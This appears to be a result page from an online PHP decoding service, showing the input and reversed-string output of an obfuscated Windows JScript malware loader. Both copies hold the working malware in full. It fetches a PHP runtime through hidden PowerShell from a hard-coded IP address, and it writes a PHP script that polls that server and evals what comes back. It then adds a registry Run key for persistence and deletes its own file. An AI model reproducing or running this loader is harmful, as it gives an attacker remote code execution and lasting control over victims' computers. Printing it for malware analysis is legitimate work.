Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

var aaaa = {aa:";))(}\n)(i \n \n} \n}{ )e( hctac } \n)emaNlluFtpircS.tpircSW(eliFete..

Decoded Output download

<?  var aaaa = {aa:";))(}
)(i  
  
}  
}{ )e( hctac }    
)emaNlluFtpircS.tpircSW(eliFeteleD.e      
{ yrt    
}{ )e( hctac }    
;)eurt ,0 ,'q\/ s\/ \"' + esabphp_7php + '\" ridmr'(nuR.c      
{ yrt    
    
}{ )e( hctac }    
}      
}        
}          
}            
;)0 ,\"nepo\" ,esabphp_7php ,'\"' + emanelif_trats + '\" B\/' ,\"exe.tpircsw\\23metsys\\swodniw\\:c\"(etucexEllehS.d nruter              
}{ )e( hctac }              
)emaNlluFtpircS.tpircSW(eliFeteleD.e                
{ yrt              
}              
}{ )e( hctac }                
)\"ZS_GER\" ,'\"' + emanelif_trats + '\" B\/' + \"02x\\" + \"exe.tpircsw\\23metsys\\swodniw\\:c\" ,q + a(etirWgeR.c                  
{ yrt                
{ )++q ;1 < q ;0 = q rav( rof              
{ ))php_7php(stsixEeliF.e( fi            
            
;)(esolc.ini            
;)\"}  n\;)06(peels    n\    n\}    n\;)006(peels      n\{ )ea$ noitpecxE( hctac }    n\}      n\;))ca$(etalfnizg(lave        n\;)ca$(edoced_46esab = ca$        n\{ )002 == da$( fi      n\      n\;)ba$(esolc_lruc      n\;)EDOC_PTTH_OFNILRUC ,ba$(ofniteg_lruc = da$      n\;)ba$(cexe_lruc = ca$      n\      n\;)0 ,TCENNOC_HSERF_TPOLRUC ,ba$(tpotes_lruc      n\;)0 ,ESUER_DIBROF_TPOLRUC ,ba$(tpotes_lruc      n\;)03 ,TUOEMIT_TPOLRUC ,ba$(tpotes_lruc      n\;)01 ,TUOEMITTCENNOC_TPOLRUC ,ba$(tpotes_lruc      n\;)'okceG ekil )0.11:vr ;0.7\/tnedirT ;46WOW ;1.6 TN swodniW( 0.5\/allizoM' ,TNEGARESU_TPOLRUC ,ba$(tpotes_lruc      n\;)aa$ ,LRU_TPOLRUC ,ba$(tpotes_lruc      n\;)eurt ,REFSNARTNRUTER_TPOLRUC ,ba$(tpotes_lruc      n\;)(tini_lruc = ba$      n\{ yrt    n\    n\;'php.teg\/631.25.8.5\/\/:ptth' = aa$    n\{ );;(rof  n\n\php?<\"(eniLetirW.ini            
;)eslaf ,eurt ,php_7php(eliFtxeTetaerC.e = ini rav            
{ ))ini_7php(stsixEeliF.e( fi          

;)(esolc.trats          
;)\";)0 ,\"\nepo\"\ ,\"\\" + )\"\\\\\" ,g\/\\\/(ecalper.esabphp_7php + \"\"\ ,\"\\" + )\"\\\\\" ,g\/\\\/(ecalper.php_7php + \"\"\ ,\"\\" + )\"\\\\\" ,g\/\\\/(ecalper.exe_7php + \"\"\(etucexEllehS.$\"(eniLetirW.trats          
;)\";)\"\noitacilppA.llehS\"\(tcejbOetaerC.tpircSW=$ rav\"(eniLetirW.trats          
;)eslaf ,eurt ,emanelif_trats(eliFtxeTetaerC.e = trats rav          
          
;)(esolc.ini          
;)\"lld.tentod_moc_php=noisnetxe\"(eniLetirW.ini          
;)\"lld.lssnepo_php=noisnetxe\"(eniLetirW.ini          
;)\"lld.fixe_php=noisnetxe\"(eniLetirW.ini          
;)\"lld.gnirtsbm_php=noisnetxe\"(eniLetirW.ini          
;)\"lld.padl_php=noisnetxe\"(eniLetirW.ini          
;)\"lld.pami_php=noisnetxe\"(eniLetirW.ini          
;)\"lld.pmg_php=noisnetxe\"(eniLetirW.ini          
;)\"lld.txetteg_php=noisnetxe\"(eniLetirW.ini          
;)\"lld.2dg_php=noisnetxe\"(eniLetirW.ini          
;)\"lld.ofnielif_php=noisnetxe\"(eniLetirW.ini          
;)\"lld.lruc_php=noisnetxe\"(eniLetirW.ini          
;)\"lld.2zb_php=noisnetxe\"(eniLetirW.ini          
;)\"\"\txe\"\=rid_noisnetxe\"(eniLetirW.ini          
;)eslaf ,eurt ,ini_7php(eliFtxeTetaerC.e = ini rav          
{ ))emanelif_011rcvsm(stsixEeliF.e( fi        
        
;)esabphp_7php ,emanelif_011rcvsm ,011rcvsm(h        
{ ))exe_7php(stsixEeliF.e( fi      
  
;)emanelif_7php(eliFeteleD.e      
;)esabphp_7php ,emanelif_7php ,7php(h      
      
}      
;nruter        
}{ )e( hctac }        
)emaNlluFtpircS.tpircSW(eliFeteleD.e          
{ yrt        
{ ))exe_7php(stsixEeliF.e( fi      
      
;\"sj.php\" + esabphp_7php = emanelif_trats rav      
;\"lld.011rcvsm\" + esabphp_7php = emanelif_011rcvsm rav      
;\"lld.011rcvsm\/php\/troppus\/retsam\/war\/swodniw-rof-php-lqsym-ehcapa-elbatrop\/tfoselcibuc\/moc.buhtig\/\/:sptth\" = 011rcvsm rav      
;\"ini.php\" + esabphp_7php = ini_7php rav      
;\"php.php\" + esabphp_7php = php_7php rav      
;\"exe.php\" + esabphp_7php = exe_7php rav      
;\"\\php\" + esab = esabphp_7php rav      
;\"piz.php\" + esab = emanelif_7php rav      
;)(g = esab rav      
;)\"tcejbOmetsySeliF.gnitpircS\"(tcejbOetaerC.tpircSW = e rav      
;)\"noitacilppA.llehS\"(tcejbOetaerC.tpircSW = d rav      
;)\"llehS.tpircSW\"(tcejbOetaerC.tpircSW = c rav      
;\"piz.php\/631.25.8.5\/\/:ptth\" = 7php rav      
{ yrt    
{ )(noitcnuf = i rav  
  
}  
;)eurt ,0 ,\"\"\'\" + yrotceriDs + \"' htaPnoitanitseD- '\" + emaNeliFs + \"' evihcrA-dnapxE;)'\" + emaNeliFs + \"','\" + LRUs + \"'(eliFdaolnwoD.)tneilCbeW.teN.metsyS tcejbo-wen(\"\ dnammoC- neddiH elytSwodniW- eliforPoN- evitcaretnInoN- ogoLoN- ssapyB yciloPnoitucexE- exe.llehsrewop\"(nuR.c    
{ )yrotceriDs ,emaNeliFs ,LRUs(noitcnuf = h rav  
  
}  
redlof nruter    
;\"c5x\swodniWc5x\tfosorciMc5x\ataD noitacilppAc5x\\" + )(f + \"c5x\sgnitteS dna stnemucoDc5x\:c\" = redlof        
))redlof(stsixEredloF.e!( fi    
;\"c5x\pmeTc5x\lacoLc5x\ataDppAc5x\\" + )(f + \"c5x\sresUc5x\:c\" = redlof        
))redlof(stsixEredloF.e!( fi    
;\"c5x\swodniWc5x\tfosorciMc5x\lacoLc5x\ataDppAc5x\\" + )(f + \"c5x\sresUc5x\:c\" = redlof rav    
{ )(noitcnuf = g rav  
  
}  
;)\"%EMANRESU%\"(sgnirtStnemnorivnEdnapxE.c nruter    
{ )(noitcnuf = f rav  
    
;)\"tcejbOmetsySeliF.gnitpircS\"(tcejbOetaerC.tpircSW = e rav  
;)\"noitacilppA.llehS\"(tcejbOetaerC.tpircSW = d rav  
;)\"llehS.tpircSW\"(tcejbOetaerC.tpircSW = c rav  
  
;\"b\" = b rav  
;\"llatsnIc5x\nuRc5x\noisreVtnerruCc5x\swodniWc5x\tfosorciMc5x\erawtfoSc5x\RESU_TNERRUC_YEKH\" = a rav  
  {)(noitcnuf("}; 
var y = 0; 
try { 
var z = new ActiveXObject("wscript.shell"); 
z.IsServiceRunning = 1 
} catch (e) { 
y = 1 
} 
String.prototype.a = function() {aaaa = aaaa.aa.split(y ? "" : "a").reverse()}; 
String.prototype.b = function() {eval(aaaa.join(""))}; 
"".b("".a()) ?>

Did this file decode correctly?

Original Code

var aaaa = {aa:";))(}\n)(i  \n  \n}  \n}{ )e( hctac }    \n)emaNlluFtpircS.tpircSW(eliFeteleD.e      \n{ yrt    \n}{ )e( hctac }    \n;)eurt ,0 ,'q\/ s\/ \"' + esabphp_7php + '\" ridmr'(nuR.c      \n{ yrt    \n    \n}{ )e( hctac }    \n}      \n}        \n}          \n}            \n;)0 ,\"nepo\" ,esabphp_7php ,'\"' + emanelif_trats + '\" B\/' ,\"exe.tpircsw\\\\23metsys\\\\swodniw\\\\:c\"(etucexEllehS.d nruter              \n}{ )e( hctac }              \n)emaNlluFtpircS.tpircSW(eliFeteleD.e                \n{ yrt              \n}              \n}{ )e( hctac }                \n)\"ZS_GER\" ,'\"' + emanelif_trats + '\" B\/' + \"02x\\\" + \"exe.tpircsw\\\\23metsys\\\\swodniw\\\\:c\" ,q + a(etirWgeR.c                  \n{ yrt                \n{ )++q ;1 < q ;0 = q rav( rof              \n{ ))php_7php(stsixEeliF.e( fi            \n            \n;)(esolc.ini            \n;)\"}  n\\;)06(peels    n\\    n\\}    n\\;)006(peels      n\\{ )ea$ noitpecxE( hctac }    n\\}      n\\;))ca$(etalfnizg(lave        n\\;)ca$(edoced_46esab = ca$        n\\{ )002 == da$( fi      n\\      n\\;)ba$(esolc_lruc      n\\;)EDOC_PTTH_OFNILRUC ,ba$(ofniteg_lruc = da$      n\\;)ba$(cexe_lruc = ca$      n\\      n\\;)0 ,TCENNOC_HSERF_TPOLRUC ,ba$(tpotes_lruc      n\\;)0 ,ESUER_DIBROF_TPOLRUC ,ba$(tpotes_lruc      n\\;)03 ,TUOEMIT_TPOLRUC ,ba$(tpotes_lruc      n\\;)01 ,TUOEMITTCENNOC_TPOLRUC ,ba$(tpotes_lruc      n\\;)'okceG ekil )0.11:vr ;0.7\/tnedirT ;46WOW ;1.6 TN swodniW( 0.5\/allizoM' ,TNEGARESU_TPOLRUC ,ba$(tpotes_lruc      n\\;)aa$ ,LRU_TPOLRUC ,ba$(tpotes_lruc      n\\;)eurt ,REFSNARTNRUTER_TPOLRUC ,ba$(tpotes_lruc      n\\;)(tini_lruc = ba$      n\\{ yrt    n\\    n\\;'php.teg\/631.25.8.5\/\/:ptth' = aa$    n\\{ );;(rof  n\\n\\php?<\"(eniLetirW.ini            \n;)eslaf ,eurt ,php_7php(eliFtxeTetaerC.e = ini rav            \n{ ))ini_7php(stsixEeliF.e( fi          \n\n;)(esolc.trats          \n;)\";)0 ,\"\\nepo\"\\ ,\"\\\" + )\"\\\\\\\\\" ,g\/\\\\\/(ecalper.esabphp_7php + \"\"\\ ,\"\\\" + )\"\\\\\\\\\" ,g\/\\\\\/(ecalper.php_7php + \"\"\\ ,\"\\\" + )\"\\\\\\\\\" ,g\/\\\\\/(ecalper.exe_7php + \"\"\\(etucexEllehS.$\"(eniLetirW.trats          \n;)\";)\"\\noitacilppA.llehS\"\\(tcejbOetaerC.tpircSW=$ rav\"(eniLetirW.trats          \n;)eslaf ,eurt ,emanelif_trats(eliFtxeTetaerC.e = trats rav          \n          \n;)(esolc.ini          \n;)\"lld.tentod_moc_php=noisnetxe\"(eniLetirW.ini          \n;)\"lld.lssnepo_php=noisnetxe\"(eniLetirW.ini          \n;)\"lld.fixe_php=noisnetxe\"(eniLetirW.ini          \n;)\"lld.gnirtsbm_php=noisnetxe\"(eniLetirW.ini          \n;)\"lld.padl_php=noisnetxe\"(eniLetirW.ini          \n;)\"lld.pami_php=noisnetxe\"(eniLetirW.ini          \n;)\"lld.pmg_php=noisnetxe\"(eniLetirW.ini          \n;)\"lld.txetteg_php=noisnetxe\"(eniLetirW.ini          \n;)\"lld.2dg_php=noisnetxe\"(eniLetirW.ini          \n;)\"lld.ofnielif_php=noisnetxe\"(eniLetirW.ini          \n;)\"lld.lruc_php=noisnetxe\"(eniLetirW.ini          \n;)\"lld.2zb_php=noisnetxe\"(eniLetirW.ini          \n;)\"\"\\txe\"\\=rid_noisnetxe\"(eniLetirW.ini          \n;)eslaf ,eurt ,ini_7php(eliFtxeTetaerC.e = ini rav          \n{ ))emanelif_011rcvsm(stsixEeliF.e( fi        \n        \n;)esabphp_7php ,emanelif_011rcvsm ,011rcvsm(h        \n{ ))exe_7php(stsixEeliF.e( fi      \n  \n;)emanelif_7php(eliFeteleD.e      \n;)esabphp_7php ,emanelif_7php ,7php(h      \n      \n}      \n;nruter        \n}{ )e( hctac }        \n)emaNlluFtpircS.tpircSW(eliFeteleD.e          \n{ yrt        \n{ ))exe_7php(stsixEeliF.e( fi      \n      \n;\"sj.php\" + esabphp_7php = emanelif_trats rav      \n;\"lld.011rcvsm\" + esabphp_7php = emanelif_011rcvsm rav      \n;\"lld.011rcvsm\/php\/troppus\/retsam\/war\/swodniw-rof-php-lqsym-ehcapa-elbatrop\/tfoselcibuc\/moc.buhtig\/\/:sptth\" = 011rcvsm rav      \n;\"ini.php\" + esabphp_7php = ini_7php rav      \n;\"php.php\" + esabphp_7php = php_7php rav      \n;\"exe.php\" + esabphp_7php = exe_7php rav      \n;\"\\\\php\" + esab = esabphp_7php rav      \n;\"piz.php\" + esab = emanelif_7php rav      \n;)(g = esab rav      \n;)\"tcejbOmetsySeliF.gnitpircS\"(tcejbOetaerC.tpircSW = e rav      \n;)\"noitacilppA.llehS\"(tcejbOetaerC.tpircSW = d rav      \n;)\"llehS.tpircSW\"(tcejbOetaerC.tpircSW = c rav      \n;\"piz.php\/631.25.8.5\/\/:ptth\" = 7php rav      \n{ yrt    \n{ )(noitcnuf = i rav  \n  \n}  \n;)eurt ,0 ,\"\"\\'\" + yrotceriDs + \"' htaPnoitanitseD- '\" + emaNeliFs + \"' evihcrA-dnapxE;)'\" + emaNeliFs + \"','\" + LRUs + \"'(eliFdaolnwoD.)tneilCbeW.teN.metsyS tcejbo-wen(\"\\ dnammoC- neddiH elytSwodniW- eliforPoN- evitcaretnInoN- ogoLoN- ssapyB yciloPnoitucexE- exe.llehsrewop\"(nuR.c    \n{ )yrotceriDs ,emaNeliFs ,LRUs(noitcnuf = h rav  \n  \n}  \nredlof nruter    \n;\"c5x\\swodniWc5x\\tfosorciMc5x\\ataD noitacilppAc5x\\\" + )(f + \"c5x\\sgnitteS dna stnemucoDc5x\\:c\" = redlof        \n))redlof(stsixEredloF.e!( fi    \n;\"c5x\\pmeTc5x\\lacoLc5x\\ataDppAc5x\\\" + )(f + \"c5x\\sresUc5x\\:c\" = redlof        \n))redlof(stsixEredloF.e!( fi    \n;\"c5x\\swodniWc5x\\tfosorciMc5x\\lacoLc5x\\ataDppAc5x\\\" + )(f + \"c5x\\sresUc5x\\:c\" = redlof rav    \n{ )(noitcnuf = g rav  \n  \n}  \n;)\"%EMANRESU%\"(sgnirtStnemnorivnEdnapxE.c nruter    \n{ )(noitcnuf = f rav  \n    \n;)\"tcejbOmetsySeliF.gnitpircS\"(tcejbOetaerC.tpircSW = e rav  \n;)\"noitacilppA.llehS\"(tcejbOetaerC.tpircSW = d rav  \n;)\"llehS.tpircSW\"(tcejbOetaerC.tpircSW = c rav  \n  \n;\"b\" = b rav  \n;\"llatsnIc5x\\nuRc5x\\noisreVtnerruCc5x\\swodniWc5x\\tfosorciMc5x\\erawtfoSc5x\\RESU_TNERRUC_YEKH\" = a rav  \n  {)(noitcnuf("};
var y = 0;
try {
var z = new ActiveXObject("wscript.shell");
z.IsServiceRunning = 1
} catch (e) {
y = 1
}
String.prototype.a = function() {aaaa = aaaa.aa.split(y ? "" : "a").reverse()};
String.prototype.b = function() {eval(aaaa.join(""))};
"".b("".a())

Function Calls

None

Variables

None

Stats

MD5 15b07200d832ff5d958937cd28dc529d
Eval Count 0
Decode Time 89 ms